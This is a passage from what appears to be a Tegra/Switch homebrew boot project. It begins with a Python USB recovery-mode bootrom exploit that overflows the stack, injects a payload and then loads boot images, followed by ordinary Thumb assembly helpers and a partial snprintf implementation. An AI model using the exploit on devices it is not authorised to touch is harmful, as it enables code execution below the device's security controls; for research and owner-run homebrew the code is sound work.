print("Reaped the wrong URB! addr 0x%x != 0x%x" % (
|
||||
purb.value, ctypes.addressof(urb)))
|
||||
_, _, status, _, _, _, _, _, _, _, _, ctx = struct.unpack("@BBiIPiiiiiIP", urb[:56])
|
||||
print("URB status: %d" % status)
|
||||
if ctx != 0xf0f:
|
||||
print("Reaped the wrong URB! ctx=0x%x" % ctx)
|
||||
def sanity_check(s, src_base, dst_base):
|
||||
# check the stack and buffers look as expected
|
||||
buf = s.ep0_read(0x1000)
|
||||
cur_src = parse32(buf, 0xc)
|
||||
cur_dst = parse32(buf, 0x14)
|
||||
#print(binascii.hexlify(buf[:0x20]))
|
||||
assert cur_src == src_base and cur_dst == dst_base
|
||||
def binload(s, arg):
|
||||
try:
|
||||
data = open(sys.argv[arg], 'rb').read()
|
||||
except:
|
||||
data = []
|
||||
return data
|
||||
def send(s, name, addr, data):
|
||||
print('sending %s (%u bytes) @0x%x' % (name, len(data), addr))
|
||||
s.ep1_write('RECV')
|
||||
s.ep1_write(struct.pack('>II', addr, len(data)))
|
||||
while len(data) > 0:
|
||||
chunk = data[:32*1024]
|
||||
s.ep1_write(chunk)
|
||||
data = data[32*1024:]
|
||||
def cmd(s):
|
||||
uboot = s.binload(2)
|
||||
bl31 = s.binload(3)
|
||||
fdt = s.binload(4)
|
||||
kernel = s.binload(5)
|
||||
ep = None
|
||||
if len(uboot) > 0:
|
||||
s.send('u-boot', s.uboot_addr, uboot)
|
||||
ep = s.uboot_addr
|
||||
if len(bl31) > 0:
|
||||
s.send('bl31', s.bl31_addr, bl31)
|
||||
ep = s.bl31_addr
|
||||
if len(fdt) > 0:
|
||||
s.send('fdt', s.fdt_addr, fdt)
|
||||
if len(kernel) > 0:
|
||||
s.send('kernel', s.kernel_addr, kernel)
|
||||
print('bootstrapping ccplex @0x%x' % ep)
|
||||
s.ep1_write('BOOT')
|
||||
s.ep1_write(struct.pack('>I', ep))
|
||||
sys.exit(0)
|
||||
else:
|
||||
print('exiting')
|
||||
s.ep1_write('EXIT')
|
||||
def cbfs(s):
|
||||
data = s.binload(2)
|
||||
if len(data) < 20 * 1024:
|
||||
print('invalid coreboot.rom')
|
||||
return
|
||||
while True:
|
||||
(offset, length) = struct.unpack('>II', s.ep1_read(8))
|
||||
if offset + length == 0:
|
||||
print('you have been served')
|
||||
sys.exit(0)
|
||||
print('sending 0x%x bytes @0x%x' % (length, offset))
|
||||
while length > 0:
|
||||
l = length
|
||||
if l > 32 * 1024:
|
||||
l = 32 * 1024
|
||||
s.ep1_write(data[offset:offset + l])
|
||||
offset = offset + l
|
||||
length = length - l
|
||||
def pwn(s):
|
||||
# this is sp+0xc
|
||||
src_base = 0x4000fc84
|
||||
# memcpy pushes r4,lr
|
||||
# memcpy_wrapper pushes r0,lr
|
||||
target = src_base - 0xc - 2 * 4 - 2 * 4
|
||||
dst_base = 0x40009000
|
||||
overwrite_len = target - dst_base
|
||||
payload_base = 0x40010000
|
||||
|
||||
# rom is in rcm_send_chip_id_and_version
|
||||
# unblock it
|
||||
init_msg = s.read_init_msg()
|
||||
print(binascii.hexlify(init_msg))
|
||||
|
||||
# now in rcm_recv_buf
|
||||
s.sanity_check(src_base, dst_base)
|
||||
|
||||
# need to build payload buffer
|
||||
# write header
|
||||
s.ep1_write(struct.pack('<L', 0x30008) + b'\0' * 0x2a4)
|
||||
# write payload
|
||||
payload = struct.pack('<L', 0) * 0x1a3a
|
||||
# payload+0x1a3a*4 = retaddr
|
||||
# uart boot greeting msg
|
||||
#payload += struct.pack('<L', 0x11081C|1)
|
||||
# rcm_send32(garbage in r0)
|
||||
#payload += struct.pack('<L', 0x1023FC|1)
|
||||
# rcm_send32(0)
|
||||
#payload += struct.pack('<L', 0x102716|1)
|
||||
# return to self
|
||||
entry = payload_base + len(payload) + 4
|
||||
entry |= 1
|
||||
print('entry %x' % (entry))
|
||||
payload += struct.pack('<L', entry)
|
||||
|
||||
try:
|
||||
payload_filename = sys.argv[1]
|
||||
except IndexError:
|
||||
payload_filename = 'inject.bin'
|
||||
payload += open(payload_filename, 'rb').read()
|
||||
|
||||
xfer_len = 0x1000
|
||||
for i in range(0, len(payload), xfer_len):
|
||||
s.ep1_write(payload[i:i+xfer_len])
|
||||
|
||||
try:
|
||||
s.sanity_check(src_base, dst_base)
|
||||
except:
|
||||
print('throwing more')
|
||||
s.ep1_write(b'\0' * xfer_len)
|
||||
|
||||
# trigger stack overwrite from the payload buf (accessed by reading
|
||||
# off the end of rcm_xfer_buffers[1])
|
||||
print("Performing hax...")
|
||||
s.ep0_read_unbounded(overwrite_len)
|
||||
|
||||
tty_mode = True
|
||||
while tty_mode:
|
||||
try:
|
||||
data = s.ep1_read(4096).tostring()
|
||||
if data == "\xde\xad\xbe\xef":
|
||||
tty_mode = False
|
||||
print('>>> Switching to dumping mode...')
|
||||
else:
|
||||
#data = data.decode('utf-8')
|
||||
print(repr(data))
|
||||
if data.split(b'\n')[0] == b'READY.':
|
||||
print('>>> Switching to cmd mode...')
|
||||
s.cmd()
|
||||
elif data.split(b'\n')[0] == b'CBFS':
|
||||
print('>>> Switching to cbfs mode...')
|
||||
s.cbfs()
|
||||
except usb.core.USBError as e:
|
||||
if e.errno == errno.ENODEV:
|
||||
print('usb device lost, reconnecting...')
|
||||
s.dev = wait_for_device(s.DEV_ID_SWITCH)
|
||||
else:
|
||||
time.sleep(0.1)
|
||||
h = hashlib.sha1()
|
||||
fp = open('../dump.bin', 'wb')
|
||||
recvd_size = 0
|
||||
while True:
|
||||
data = s.ep1_read(4096).tostring()
|
||||
if len(data) == 20:
|
||||
# Last block, SHA1
|
||||
print('>>> Done! Expected sha1:', data.encode('hex'),
|
||||
'received:', h.hexdigest())
|
||||
break
|
||||
else:
|
||||
h.update(data)
|
||||
fp.write(data)
|
||||
recvd_size += len(data)
|
||||
if recvd_size % 2**20 == 0:
|
||||
print(recvd_size / 2**20, 'MiB received')
|
||||
|
||||
rcm = RCM()
|
||||
rcm.pwn()
|
|
@ -0,0 +1,72 @@
|
|||
/* Copyright (c) 2014 The Chromium OS Authors. All rights reserved.
|
||||
* Use of this source code is governed by a BSD-style license that can be
|
||||
* found in the LICENSE.chromiumos file.
|
||||
*
|
||||
* Thumb mode toolchain helpers for compact switch/case statement.
|
||||
*/
|
||||
.text
|
||||
.syntax unified
|
||||
.code 16
|
||||
/*
|
||||
* Helpers for compact switch
|
||||
*
|
||||
* r0: the table index
|
||||
* lr: the table base address (need to clear bit 0)
|
||||
*
|
||||
* r0 and lr must be PRESERVED.
|
||||
* r12 can be clobbered.
|
||||
*/
|
||||
.section .text.__gnu_thumb1_case_uqi
|
||||
.global __gnu_thumb1_case_uqi
|
||||
.thumb_func
|
||||
__gnu_thumb1_case_uqi:
|
||||
mov r12, r1
|
||||
mov r1, lr
|
||||
lsrs r1, r1, #1
|
||||
lsls r1, r1, #1
|
||||
ldrb r1, [r1, r0]
|
||||
lsls r1, r1, #1
|
||||
add lr, lr, r1
|
||||
mov r1, r12
|
||||
bx lr
|
||||
.section .text.__gnu_thumb1_case_sqi
|
||||
.global __gnu_thumb1_case_sqi
|
||||
.thumb_func
|
||||
__gnu_thumb1_case_sqi:
|
||||
mov r12, r1
|
||||
mov r1, lr
|
||||
lsrs r1, r1, #1
|
||||
lsls r1, r1, #1
|
||||
ldrsb r1, [r1, r0]
|
||||
lsls r1, r1, #1
|
||||
add lr, lr, r1
|
||||
mov r1, r12
|
||||
bx lr
|
||||
.section .text.__gnu_thumb1_case_uhi
|
||||
.global __gnu_thumb1_case_uhi
|
||||
.thumb_func
|
||||
__gnu_thumb1_case_uhi:
|
||||
push {r0, r1}
|
||||
mov r1, lr
|
||||
lsrs r1, r1, #1
|
||||
lsls r0, r0, #1
|
||||
lsls r1, r1, #1
|
||||
ldrh r1, [r1, r0]
|
||||
lsls r1, r1, #1
|
||||
add lr, lr, r1
|
||||
pop {r0, r1}
|
||||
bx lr
|
||||
.section .text.__gnu_thumb1_case_shi
|
||||
.global __gnu_thumb1_case_shi
|
||||
.thumb_func
|
||||
__gnu_thumb1_case_shi:
|
||||
push {r0, r1}
|
||||
mov r1, lr
|
||||
lsrs r1, r1, #1
|
||||
lsls r0, r0, #1
|
||||
lsls r1, r1, #1
|
||||
ldrsh r1, [r1, r0]
|
||||
lsls r1, r1, #1
|
||||
add lr, lr, r1
|
||||
pop {r0, r1}
|
||||
bx lr
|
|
@ -0,0 +1,717 @@
|
|||
/*
|
||||
* Copyright (c) 1995 Patrick Powell.
|
||||
*
|
||||
* This code is based on code written by Patrick Powell <papowell@astart.com>.
|
||||
* It may be used for any purpose as long as this notice remains intact on all
|
||||
* source code distributions.
|
||||
|
||||
* Copyright (c) 2008 Holger Weiss.
|
||||
*
|
||||
* This version of the code is maintained by Holger Weiss <holger@jhweiss.de>.
|
||||
* My changes to the code may freely be used, modified and/or redistributed for
|
||||
* any purpose. It would be nice if additions and fixes to this file (including
|
||||
* trivial code cleanups) would be sent back in order to let me include them in
|
||||
* the version available at <http://www.jhweiss.de/software/snprintf.html>.
|
||||
* However, this is not a requirement for using or redistributing (possibly
|
||||
* modified) versions of this file, nor is leaving this notice intact mandatory.
|
||||
*/
|
||||
|
||||
/*
|
||||
* History
|
||||
*
|
||||
* 2009-03-05 Hector Martin "marcan" <marcan@marcansoft.com>
|
||||
*
|
||||
* Hacked up and removed a lot of stuff including floating-point support,
|
||||
* a bunch of ifs and defines, locales, and tests
|
||||
*
|
||||
* 2008-01-20 Holger Weiss <holger@jhweiss.de> for C99-snprintf 1.1:
|
||||
*
|
||||
* Fixed the detection of infinite floating point values on IRIX (and
|
||||
* possibly other systems) and applied another few minor cleanups.
|
||||
*
|
||||
* 2008-01-06 Holger Weiss <holger@jhweiss.de> for C99-snprintf 1.0:
|
||||
*
|
||||
* Added a lot of new features, fixed many bugs, and incorporated various
|
||||
* improvements done by Andrew Tridgell <tridge@samba.org>, Russ Allbery
|
||||
* <rra@stanford.edu>, Hrvoje Niksic <hniksic@xemacs.org>, Damien Miller
|
||||
* <djm@mindrot.org>, and others for the Samba, INN, Wget, and OpenSSH
|
||||
* projects. The additions include: support the "e", "E", "g", "G", and
|
||||
* "F" conversion specifiers (and use conversion style "f" or "F" for the
|
||||
* still unsupported "a" and "A" specifiers); support the "hh", "ll", "j",
|
||||
* "t", and "z" length modifiers; support the "#" flag and the (non-C99)
|
||||
* "'" flag; use localeconv(3) (if available) to get both the current
|
||||
* locale's decimal point character and the separator between groups of
|
||||
* digits; fix the handling of various corner cases of field width and
|
||||
* precision specifications; fix various floating point conversion bugs;
|
||||
* handle infinite and NaN floating point values; don't attempt to write to
|
||||
* the output buffer (which may be NULL) if a size of zero was specified;
|
||||
* check for integer overflow of the field width, precision, and return
|
||||
* values and during the floating point conversion; use the OUTCHAR() macro
|
||||
* instead of a function for better performance; provide asprintf(3) and
|
||||
* vasprintf(3) functions; add new test cases. The replacement functions
|
||||
* have been renamed to use an "rpl_" prefix, the function calls in the
|
||||
* main project (and in this file) must be redefined accordingly for each
|
||||
* replacement function which is needed (by using Autoconf or other means).
|
||||
* Various other minor improvements have been applied and the coding style
|
||||
* was cleaned up for consistency.
|
||||
*
|
||||
* 2007-07-23 Holger Weiss <holger@jhweiss.de> for Mutt 1.5.13:
|
||||
*
|
||||
* C99 compliant snprintf(3) and vsnprintf(3) functions return the number
|
||||
* of characters that would have been written to a sufficiently sized
|
||||
* buffer (excluding the '\0'). The original code simply returned the
|
||||
* length of the resulting output string, so that's been fixed.
|
||||
*
|
||||
* 1998-03-05 Michael Elkins <me@mutt.org> for Mutt 0.90.8:
|
||||
*
|
||||
* The original code assumed that both snprintf(3) and vsnprintf(3) were
|
||||
* missing. Some systems only have snprintf(3) but not vsnprintf(3), so
|
||||
* the code is now broken down under HAVE_SNPRINTF and HAVE_VSNPRINTF.
|
||||
*
|
||||
* 1998-01-27 Thomas Roessler <roessler@does-not-exist.org> for Mutt 0.89i:
|
||||
*
|
||||
* The PGP code was using unsigned hexadecimal formats. Unfortunately,
|
||||
* unsigned formats simply didn't work.
|
||||
*
|
||||
* 1997-10-22 Brandon Long <blong@fiction.net> for Mutt 0.87.1:
|
||||
*
|
||||
* Ok, added some minimal floating point support, which means this probably
|
||||
* requires libm on most operating systems. Don't yet support the exponent
|
||||
* (e,E) and sigfig (g,G). Also, fmtint() was pretty badly broken, it just
|
||||
* wasn't being exercised in ways which showed it, so that's been fixed.
|
||||
* Also, formatted the code to Mutt conventions, and removed dead code left
|
||||
* over from the original. Also, there is now a builtin-test, run with:
|
||||
* gcc -DTEST_SNPRINTF -o snprintf snprintf.c -lm && ./snprintf
|
||||
*
|
||||
* 2996-09-15 Brandon Long <blong@fiction.net> for Mutt 0.43:
|
||||
*
|
||||
* This was ugly. It is still ugly. I opted out of floating point
|
||||
* numbers, but the formatter understands just about everything from the
|
||||
* normal C string format, at least as far as I can tell from the Solaris
|
||||
* 2.5 printf(3S) man page.
|
||||
*/
|
||||
|
||||
#include <stdarg.h>
|
||||
#include "common.h"
|
||||
|
||||
#define VA_START(ap, last) va_start(ap, last)
|
||||
#define VA_SHIFT(ap, value, type) /* No-op for ANSI C. */
|
||||
|
||||
#define ULLONG unsigned long
|
||||
#define UINTMAX_T unsigned long
|
||||
#define UINTMAX_MAX ULONG_MAX
|
||||
#define LLONG long
|
||||
#define INTMAX_T long
|
||||
|
||||
/* Support for uintptr_t. */
|
||||
#ifndef UINTPTR_T
|
||||
#if HAVE_UINTPTR_T || defined(uintptr_t)
|
||||
#define UINTPTR_T uintptr_t
|
||||
#else
|
||||
#define UINTPTR_T unsigned long int
|
||||
#endif /* HAVE_UINTPTR_T || defined(uintptr_t) */
|
||||
#endif /* !defined(UINTPTR_T) */
|
||||
|
||||
/* Support for ptrdiff_t. */
|
||||
#ifndef PTRDIFF_T
|
||||
#if HAVE_PTRDIFF_T || defined(ptrdiff_t)
|
||||
#define PTRDIFF_T ptrdiff_t
|
||||
#else
|
||||
#define PTRDIFF_T long int
|
||||
#endif /* HAVE_PTRDIFF_T || defined(ptrdiff_t) */
|
||||
#endif /* !defined(PTRDIFF_T) */
|
||||
|
||||
/*
|
||||
* We need an unsigned integer type corresponding to ptrdiff_t (cf. C99:
|
||||
* 7.19.6.1, 7). However, we'll simply use PTRDIFF_T and convert it to an
|
||||
* unsigned type if necessary. This should work just fine in practice.
|
||||
*/
|
||||
#ifndef UPTRDIFF_T
|
||||
#define UPTRDIFF_T PTRDIFF_T
|
||||
#endif /* !defined(UPTRDIFF_T) */
|
||||
|
||||
/*
|
||||
* We need a signed integer type corresponding to size_t (cf. C99: 7.19.6.1, 7).
|
||||
* However, we'll simply use size_t and convert it to a signed type if
|
||||
* necessary. This should work just fine in practice.
|
||||
*/
|
||||
#ifndef SSIZE_T
|
||||
#define SSIZE_T size_t
|
||||
#endif /* !defined(SSIZE_T) */
|
||||
|
||||
|
||||
/*
|
||||
* Buffer size to hold the octal string representation of UINT128_MAX without
|
||||
* nul-termination ("3777777777777777777777777777777777777777777").
|
||||
*/
|
||||
#ifdef MAX_CONVERT_LENGTH
|
||||
#undef MAX_CONVERT_LENGTH
|
||||
#endif /* defined(MAX_CONVERT_LENGTH) */
|
||||
#define MAX_CONVERT_LENGTH 43
|
||||
|
||||
/* Format read states. */
|
||||
#define PRINT_S_DEFAULT 0
|
||||
#define PRINT_S_FLAGS 1
|
||||
#define PRINT_S_WIDTH 2
|
||||
#define PRINT_S_DOT 3
|
||||
#define PRINT_S_PRECISION 4
|
||||
#define PRINT_S_MOD 5
|
||||
#define PRINT_S_CONV 6
|
||||
|
||||
/* Format flags. */
|
||||
#define PRINT_F_MINUS (1 << 0)
|
||||
#define PRINT_F_PLUS (1 << 1)
|
||||
#define PRINT_F_SPACE (1 << 2)
|
||||
#define PRINT_F_NUM (1 << 3)
|
||||
#define PRINT_F_ZERO (1 << 4)
|
||||
#define PRINT_F_QUOTE (1 << 5)
|
||||
#define PRINT_F_UP (1 << 6)
|
||||
#define PRINT_F_UNSIGNED (1 << 7)
|
||||
#define PRINT_F_TYPE_G (1 << 8)
|
||||
#define PRINT_F_TYPE_E (1 << 9)
|
||||
|
||||
/* Conversion flags. */
|
||||
#define PRINT_C_CHAR 1
|
||||
#define PRINT_C_SHORT 2
|
||||
#define PRINT_C_LONG 3
|
||||
#define PRINT_C_LLONG 4
|
||||
//#define PRINT_C_LDOUBLE 5
|
||||
#define PRINT_C_SIZE 6
|
||||
#define PRINT_C_PTRDIFF 7
|
||||
#define PRINT_C_INTMAX 8
|
||||
|
||||
#ifndef MAX
|
||||
#define MAX(x, y) ((x >= y) ? x : y)
|
||||
#endif /* !defined(MAX) */
|
||||
#ifndef CHARTOINT
|
||||
#define CHARTOINT(ch) (ch - '0')
|
||||
#endif /* !defined(CHARTOINT) */
|
||||
#ifndef ISDIGIT
|
||||
#define ISDIGIT(ch) ('0' <= (unsigned char)ch && (unsigned char)ch <= '9')
|
||||
#endif /* !defined(ISDIGIT) */
|
||||
|
||||
#define OUTCHAR(str, len, size, ch) \
|
||||
do { \
|
||||
if (len + 1 < size) \
|
||||
str[len] = ch; \
|
||||
(len)++; \
|
||||
} while (/* CONSTCOND */ 0)
|
||||
|
||||
static void fmtstr(char *, size_t *, size_t, const char *, int, int, int);
|
||||
static void fmtint(char *, size_t *, size_t, INTMAX_T, int, int, int, int);
|
||||
static void printsep(char *, size_t *, size_t);
|
||||
static int getnumsep(int);
|
||||
static int convert(UINTMAX_T, char *, size_t, int, int);
|
||||
|
||||
int vsnprintf(char *str, size_t size, const char *format, va_list args)
|
||||
{
|
||||
INTMAX_T value;
|
||||
unsigned char cvalue;
|
||||
const char *strvalue;
|
||||
INTMAX_T *intmaxptr;
|
||||
PTRDIFF_T *ptrdiffptr;
|
||||
SSIZE_T *sizeptr;
|
||||
LLONG *llongptr;
|
||||
long int *longptr;
|
||||
int *intptr;
|
||||
short int *shortptr;
|
||||
signed char *charptr;
|
||||
size_t len = 0;
|
||||
int overflow = 0;
|
||||
int base = 0;
|
||||
int cflags = 0;
|
||||
int flags = 0;
|
||||
int width = 0;
|
||||
int precision = -1;
|
||||
int state = PRINT_S_DEFAULT;
|
||||
char ch = *format++;
|
||||
|
||||
/*
|
||||
* C99 says: "If `n' is zero, nothing is written, and `s' may be a null
|
||||
* pointer." (7.19.6.5, 2) We're forgiving and allow a NULL pointer
|
||||
* even if a size larger than zero was specified. At least NetBSD's
|
||||
* snprintf(3) does the same, as well as other versions of this file.
|
||||
* (Though some of these versions will write to a non-NULL buffer even
|
||||
* if a size of zero was specified, which violates the standard.)
|
||||
*/
|
||||
if (str == NULL && size != 0)
|
||||
size = 0;
|
||||
|
||||
while (ch != '\0')
|
||||
switch (state) {
|
||||
case PRINT_S_DEFAULT:
|
||||
if (ch == '%')
|
||||
state = PRINT_S_FLAGS;
|
||||
else
|
||||
OUTCHAR(str, len, size, ch);
|
||||
ch = *format++;
|
||||
break;
|
||||
case PRINT_S_FLAGS:
|
||||
switch (ch) {
|
||||
case '-':
|
||||
flags |= PRINT_F_MINUS;
|
||||
ch = *format++;
|
||||
break;
|
||||
case '+':
|
||||
flags |= PRINT_F_PLUS;
|
||||
ch = *format++;
|
||||
break;
|
||||
case ' ':
|
||||
flags |= PRINT_F_SPACE;
|
||||
ch = *format++;
|
||||
break;
|
||||
case '#':
|
||||
flags |= PRINT_F_NUM;
|
||||
ch = *format++;
|
||||
break;
|
||||
case '0':
|
||||
flags |= PRINT_F_ZERO;
|
||||
ch = *format++;
|
||||
break;
|
||||
case '\'': /* SUSv2 flag (not in C99). */
|
||||
flags |= PRINT_F_QUOTE;
|
||||
ch = *format++;
|
||||
break;
|
||||
default:
|
||||
state = PRINT_S_WIDTH;
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case PRINT_S_WIDTH:
|
||||
if (ISDIGIT(ch)) {
|
||||
ch = CHARTOINT(ch);
|
||||
if (width > (INT_MAX - ch) / 10) {
|
||||
overflow = 1;
|
||||
goto out;
|
||||
}
|
||||
width = 10 * width + ch;
|
||||
ch = *format++;
|
||||
} else if (ch == '*') {
|
||||
/*
|
||||
* C99 says: "A negative field width argument is
|
||||
* taken as a `-' flag followed by a positive
|
||||
* field width." (7.19.6.1, 5)
|
||||
*/
|
||||
if ((width = va_arg(args, int)) < 0) {
|
||||
flags |= PRINT_F_MINUS;
|
||||
width = -width;
|
||||
}
|
||||
ch = *format++;
|
||||
state = PRINT_S_DOT;
|
||||
} else
|
||||
state = PRINT_S_DOT;
|
||||
break;
|
||||
case PRINT_S_DOT:
|
||||
if (ch == '.') {
|
||||
state = PRINT_S_PRECISION;
|
||||
ch = *format++;
|
||||
} else
|
||||
state = PRINT_S_MOD;
|
||||
break;
|
||||
case PRINT_S_PRECISION:
|
||||
if (precision == -1)
|
||||
precision = 0;
|
||||
if (ISDIGIT(ch)) {
|
||||
ch = CHARTOINT(ch);
|
||||
if (precision > (INT_MAX - ch) / 10) {
|
||||
overflow = 1;
|
||||
goto out;
|
||||
}
|
||||
precision = 10 * precision + ch;
|
||||
ch = *format++;
|
||||
} else if (ch == '*') {
|
||||
/*
|
||||
* C99 says: "A negative precision argument is
|
||||
* taken as if the precision were omitted."
|
||||
* (7.19.6.1, 5)
|
||||
*/
|
||||
if ((precision = va_arg(args, int)) < 0)
|
||||
precision = -1;
|
||||
ch = *format++;
|
||||
state = PRINT_S_MOD;
|
||||
} else
|
||||
state = PRINT_S_MOD;
|
||||
break;
|
||||
case PRINT_S_MOD:
|
||||
switch (ch) {
|
||||
case 'h':
|
||||
ch = *format++;
|
||||
if (ch == 'h') { /* It's a char. */
|
||||
ch = *format++;
|
||||
cflags = PRINT_C_CHAR;
|
||||
} else
|
||||
cflags = PRINT_C_SHORT;
|
||||
break;
|
||||
case 'l':
|
||||
ch = *format++;
|
||||
if (ch == 'l') { /* It's a long long. */
|
||||
ch = *format++;
|
||||
cflags = PRINT_C_LLONG;
|
||||
} else
|
||||
cflags = PRINT_C_LONG;
|
||||
break;
|
||||
case 'j':
|
||||
cflags = PRINT_C_INTMAX;
|
||||
ch = *format++;
|
||||
break;
|
||||
case 't':
|
||||
cflags = PRINT_C_PTRDIFF;
|
||||
ch = *format++;
|
||||
break;
|
||||
case 'z':
|
||||
cflags = PRINT_C_SIZE;
|
||||
ch = *format++;
|
||||
break;
|
||||
}
|
||||
state = PRINT_S_CONV;
|
||||
break;
|
||||
case PRINT_S_CONV:
|
||||
switch (ch) {
|
||||
case 'd':
|
||||
/* FALLTHROUGH */
|
||||
case 'i':
|
||||
switch (cflags) {
|
||||
case PRINT_C_CHAR:
|
||||
value = (signed char)va_arg(args, int);
|
||||
break;
|
||||
case PRINT_C_SHORT:
|
||||
value = (short int)va_arg(args, int);
|
||||
break;
|
||||
case PRINT_C_LONG:
|
||||
value = va_arg(args, long int);
|
||||
break;
|
||||
case PRINT_C_LLONG:
|
||||
value = va_arg(args, LLONG);
|
||||
break;
|
||||
case PRINT_C_SIZE:
|
||||
value = va_arg(args, SSIZE_T);
|
||||
break;
|
||||
case PRINT_C_INTMAX:
|
||||
value = va_arg(args, INTMAX_T);
|
||||
break;
|
||||
case PRINT_C_PTRDIFF:
|
||||
value = va_arg(args, PTRDIFF_T);
|
||||
break;
|
||||
default:
|
||||
value = va_arg(args, int);
|
||||
break;
|
||||
}
|
||||
fmtint(str, &len, size, value, 10, width,
|
||||
precision, flags);
|
||||
break;
|
||||
case 'X':
|
||||
flags |= PRINT_F_UP;
|
||||
/* FALLTHROUGH */
|
||||
case 'x':
|
||||
base = 16;
|
||||
/* FALLTHROUGH */
|
||||
case 'o':
|
||||
if (base == 0)
|
||||
base = 8;
|
||||
/* FALLTHROUGH */
|
||||
case 'u':
|
||||
if (base == 0)
|
||||
base = 10;
|
||||
flags |= PRINT_F_UNSIGNED;
|
||||
switch (cflags) {
|
||||
case PRINT_C_CHAR:
|
||||
value = (unsigned char)va_arg(args,
|
||||
unsigned int);
|
||||
break;
|
||||
case PRINT_C_SHORT:
|
||||
value = (unsigned short int)va_arg(args,
|
||||
unsigned int);
|
||||
break;
|
||||
case PRINT_C_LONG:
|
||||
value = va_arg(args, unsigned long int);
|
||||
break;
|
||||
case PRINT_C_LLONG:
|
||||
value = va_arg(args, ULLONG);
|
||||
break;
|
||||
case PRINT_C_SIZE:
|
||||
value = va_arg(args, size_t);
|
||||
break;
|
||||
case PRINT_C_INTMAX:
|
||||
value = va_arg(args, UINTMAX_T);
|
||||
break;
|
||||
case PRINT_C_PTRDIFF:
|
||||
value = va_arg(args, UPTRDIFF_T);
|
||||
break;
|
||||
default:
|
||||
value = va_arg(args, unsigned int);
|
||||
break;
|
||||
}
|
||||
fmtint(str, &len, size, value, base, width,
|
||||
precision, flags);
|
||||
break;
|
||||
case 'c':
|
||||
cvalue = va_arg(args, int);
|
||||
OUTCHAR(str, len, size, cvalue);
|
||||
break;
|
||||
case 's':
|
||||
strvalue = va_arg(args, char *);
|
||||
fmtstr(str, &len, size, strvalue, width,
|
||||
precision, flags);
|
||||
break;
|
||||
case 'p':
|
||||
/*
|
||||
* C99 says: "The value of the pointer is
|
||||
* converted to a sequence of printing
|
||||
* characters, in an implementation-defined
|
||||
* manner." (C99: 7.19.6.1, 8)
|
||||
*/
|
||||
if ((strvalue = va_arg(args, void *)) == NULL)
|
||||
/*
|
||||
* We use the glibc format. BSD prints
|
||||
* "0x0", SysV "0".
|
||||
*/
|
||||
fmtstr(str, &len, size, "(nil)", width,
|
||||
-1, flags);
|
||||
else {
|
||||
/*
|
||||
* We use the BSD/glibc format. SysV
|
||||
* omits the "0x" prefix (which we emit
|
||||
* using the PRINT_F_NUM flag).
|
||||
*/
|
||||
flags |= PRINT_F_NUM;
|
||||
flags |= PRINT_F_UNSIGNED;
|
||||
fmtint(str, &len, size,
|
||||
(UINTPTR_T)strvalue, 16, width,
|
||||
precision, flags);
|
||||
}
|
||||
break;
|
||||
case 'n':
|
||||
switch (cflags) {
|
||||
case PRINT_C_CHAR:
|
||||
charptr = va_arg(args, signed char *);
|
||||
*charptr = len;
|
||||
break;
|
||||
case PRINT_C_SHORT:
|
||||
shortptr = va_arg(args, short int *);
|
||||
*shortptr = len;
|
||||
break;
|
||||
case PRINT_C_LONG:
|
||||
longptr = va_arg(args, long int *);
|
||||
*longptr = len;
|
||||
break;
|
||||
case PRINT_C_LLONG:
|
||||
llongptr = va_arg(args, LLONG *);
|
||||
*llongptr = len;
|
||||
break;
|
||||
case PRINT_C_SIZE:
|
||||
/*
|
||||
* C99 says that with the "z" length
|
||||
* modifier, "a following `n' conversion
|
||||
* specifier applies to a pointer to a
|
||||
* signed integer type corresponding to
|
||||
* size_t argument." (7.19.6.1, 7)
|
||||
*/
|
||||
sizeptr = va_arg(args, SSIZE_T *);
|
||||
*sizeptr = len;
|
||||
break;
|
||||
case PRINT_C_INTMAX:
|
||||
intmaxptr = va_arg(args, INTMAX_T *);
|
||||
*intmaxptr = len;
|
||||
break;
|
||||
case PRINT_C_PTRDIFF:
|
||||
ptrdiffptr = va_arg(args, PTRDIFF_T *);
|
||||
*ptrdiffptr = len;
|
||||
break;
|
||||
default:
|
||||
intptr = va_arg(args, int *);
|
||||
*intptr = len;
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case '%': /* Print a "%" character verbatim. */
|
||||
OUTCHAR(str, len, size, ch);
|
||||
break;
|
||||
default: /* Skip other characters. */
|
||||
break;
|
||||
}
|
||||
ch = *format++;
|
||||
state = PRINT_S_DEFAULT;
|
||||
base = cflags = flags = width = 0;
|
||||
precision = -1;
|
||||
break;
|
||||
}
|
||||
out:
|
||||
if (len < size)
|
||||
str[len] = '\0';
|
||||
else if (size > 0)
|
||||
str[size - 1] = '\0';
|
||||
|
||||
if (overflow || len >= INT_MAX) {
|
||||
return -1;
|
||||
}
|
||||
return (int)len;
|
||||
}
|
||||
|
||||
static void
|
||||
fmtstr(char *str, size_t *len, size_t size, const char *value, int width,
|
||||
int precision, int flags)
|
||||
{
|
||||
int padlen, strln; /* Amount to pad. */
|
||||
int noprecision = (precision == -1);
|
||||
|
||||
if (value == NULL) /* We're forgiving. */
|
||||
value = "(null)";
|
||||
|
||||
/* If a precision was specified, don't read the string past it. */
|
||||
for (strln = 0; value[strln] != '\0' &&
|
||||
(noprecision || strln < precision); strln++)
|
||||
continue;
|
||||
|
||||
if ((padlen = width - strln) < 0)
|
||||
padlen = 0;
|
||||
if (flags & PRINT_F_MINUS) /* Left justify. */
|
||||
padlen = -padlen;
|
||||
|
||||
while (padlen > 0) { /* Leading spaces. */
|
||||
OUTCHAR(str, *len, size, ' ');
|
||||
padlen--;
|
||||
}
|
||||
while (*value != '\0' && (noprecision || precision-- > 0)) {
|
||||
OUTCHAR(str, *len, size, *value);
|
||||
value++;
|
||||
}
|
||||
while (padlen < 0) { /* Trailing spaces. */
|
||||
OUTCHAR(str, *len, size, ' ');
|
||||
padlen++;
|
||||
}
|
||||
}
|
||||
|
||||
static void
|
||||
fmtint(char *str, size_t *len, size_t size, INTMAX_T value, int base, int width,
|
||||
int precision, int flags)
|
||||
{
|
||||
UINTMAX_T uvalue;
|
||||
char iconvert[MAX_CONVERT_LENGTH];
|
||||
char sign = 0;
|
||||
char hexprefix = 0;
|
||||
int spadlen = 0; /* Amount to space pad. */
|
||||
int zpadlen = 0; /* Amount to zero pad. */
|
||||
int pos;
|
||||
int separators = (flags & PRINT_F_QUOTE);
|
||||
int noprecision = (precision == -1);
|
||||
|
||||
if (flags & PRINT_F_UNSIGNED)
|
||||
uvalue = value;
|
||||
else {
|
||||
uvalue = (value >= 0) ? value : -value;
|
||||
if (value < 0)
|
||||
sign = '-';
|
||||
else if (flags & PRINT_F_PLUS) /* Do a sign. */
|
